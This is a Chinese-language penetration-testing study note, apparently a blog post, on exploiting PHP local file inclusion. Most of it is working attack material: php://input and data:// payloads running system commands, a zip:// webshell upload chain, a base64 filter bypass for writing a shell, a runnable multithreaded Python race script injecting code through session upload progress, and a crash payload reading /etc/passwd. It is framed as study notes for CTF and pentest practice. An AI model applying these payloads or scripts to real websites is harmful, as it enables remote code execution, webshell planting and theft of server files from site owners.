渗透测试前四天PHP文件包含笔记

渗透测试前四天PHP文件包含笔记

一、基础概念

1.1 漏洞原理

PHP文件包含漏洞发生在使用文件包含函数时,用户可控的参数未经过严格过滤,导致可以包含任意文件。常见包含函数:

  • include()
  • require()

关键区别:

  • include()失败时产生警告,脚本继续执行
  • require()失败时产生致命错误,脚本终止

1.2 环境要求

复制代码
allow_url_fopen = On      (允许打开远程文件,默认开启)
allow_url_include = On    (允许包含远程文件,PHP 5.2后默认关闭)

二、PHP伪协议利用

2.1 php://filter - 读取文件源码

作用 :读取文件并进行编码转换,避免直接执行
适用条件 :不受allow_url_fopen和allow_url_include限制

基本用法:

复制代码
php://filter/read=convert.base64-encode/resource=文件路径

读取当前目录文件:

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

读取上级目录文件(使用多层符号链接):

复制代码
?file=php://filter/read=convert.base64-encode/resource=proc/self/root/proc/self/root/var/www/html/flag.php

2.2 php://input - 执行PHP代码

作用 :读取POST原始数据作为PHP代码执行
条件 :需要allow_url_include = On

示例:

复制代码
POST /lfi.php?file=php://input
[POST DATA] <?php system('whoami'); ?>

2.3 data:// - 数据流协议

条件 :双on(allow_url_fopen和allow_url_include都需开启)

用法:

复制代码
?file=data://text/plain,<?php phpinfo(); ?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

2.4 zip:// - 压缩包包含

特点:

  • 不受allow_url_*限制
  • 需要绝对路径
  • zip:// 需要定格才可以使用

利用步骤:

  1. 创建包含恶意代码的文件:shell.txt
  2. 压缩为ZIP:zip shell.zip shell.txt
  3. 上传并重命名为图片:mv shell.zip shell.jpg
  4. 包含利用:?file=zip:///var/www/html/uploads/shell.jpg%23shell.txt

2.5 compress.zlib:// - 临时文件利用

特殊用途 :在LFI中创建临时文件
原理 :使用compress.zlib://http://会在本地创建临时文件存储下载内容

三、绕过技巧

3.1 Base64解码绕过

场景 :写入文件时被添加<?php exit; ?>前缀

原理 :PHP Base64解码会跳过非法字符(<, ?, ;, >, 空格等)

利用方法:

php 复制代码
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

// 利用方式:filename=php://filter/write=convert.base64-decode/resource=shell.php
// POST txt=aaPD89YCRfR0VUWzBdYDs/Pg== ("phpexita" + shell_base64)

关键:让"phpexita"成为8字节合法Base64字符串被解码,后续内容也被解码

3.2 strip_tags绕过

原理 :strip_tags可去除XML标签

利用链:

复制代码
php://filter/read=string.strip_tags|convert.base64-decode/resource=uploaded_file

四、临时文件竞争利用

4.1 phpinfo()辅助LFI

条件:存在phpinfo页面

原理:

  1. PHP上传文件会先保存到临时文件(/tmp/phpXXXXXX)
  2. phpinfo会泄露临时文件名
  3. 在文件删除前竞争包含

Python利用脚本:

python 复制代码
import threading, requests

target = 'http://192.168.1.100/'
sessid = 'test'

def upload(e):
    while not e.is_set():
        files = {'file': ('a.txt', b'a'*4096)}
        data = {'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("id"); ?>'}
        requests.post(target, files=files, data=data, cookies={'PHPSESSID': sessid})

def include(e):
    while not e.is_set():
        resp = requests.get(f'{target}?file=/tmp/sess_{sessid}')
        if 'uid=' in resp.text:
            print("Success!")
            e.set()

# 多线程提高成功率
event = threading.Event()
t1 = threading.Thread(target=upload, args=(event,))
t2 = threading.Thread(target=include, args=(event,))
t1.start(); t2.start()

4.2 Session.upload_progress(无需phpinfo)

PHP配置:

复制代码
session.upload_progress.enabled = On   (默认开启)
session.upload_progress.cleanup = On   (默认开启,会清理Session)

利用条件:开启Session机制

数据包构造:

http 复制代码
POST /upload.php HTTP/1.1
Cookie: PHPSESSID=attack_sess

------WebKitFormBoundary
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system('id'); ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

[大文件内容]

包含路径 :/tmp/sess_attack_sess 或 /var/lib/php/sessions/sess_attack_sess

4.3 PHP 7 残留文件

原理:利用PHP 7.0-7.1.19的崩溃漏洞使临时文件不被删除

崩溃Payload:

复制代码
?file=php://filter/string.strip_tags/resource=/etc/passwd

利用流程:

  1. 发送崩溃请求
  2. 同时上传文件(临时文件残留)
  3. 爆破临时文件名(/tmp/php6随机字符)
相关推荐
事圆则缓25 分钟前
HTTP 请求是怎么走的:从 Android 页面到服务端响应
android·网络协议·http
wdfk_prog1 小时前
LWIP教程 16:从 MTU 到 `ip4_frag()` / `ip4_reass()`——IPv4 分片、重组、超时与内存压力
运维·服务器·网络·笔记·学习
Xudde.1 小时前
AI-Web1 靶机渗透测试(Vulnhub Writeup)
笔记·学习·安全·web安全
墨云安全1 小时前
自动化安全测试工具的技术架构、集成方式与任务编排(2026 年实践)
人工智能·网络安全·渗透测试
额额额对了1 小时前
Linux 驱动学习笔记(部分)
linux·笔记·学习
我命由我123452 小时前
ReAct 循环
学习·ai·产品运营·学习方法·ai编程·ai写作·产品
for_ever_love__2 小时前
LangGraph Checkpointer:持久化、断点续跑与多轮记忆
服务器·数据库·学习·持久化·langgraph·checkpointer·断点续跑
美狐美颜SDK开放平台2 小时前
直播APP平台搭建需要哪些技术?视频美颜SDK只是其中一环
android·ios·音视频·直播美颜sdk·视频美颜sdk
学电子她就能回来吗2 小时前
LeetCode Hot 100|滑动窗口专题零基础学习笔记
笔记·学习·leetcode
小雪崩3 小时前
嵌入式学习 day68:驱动——SPI总线
学习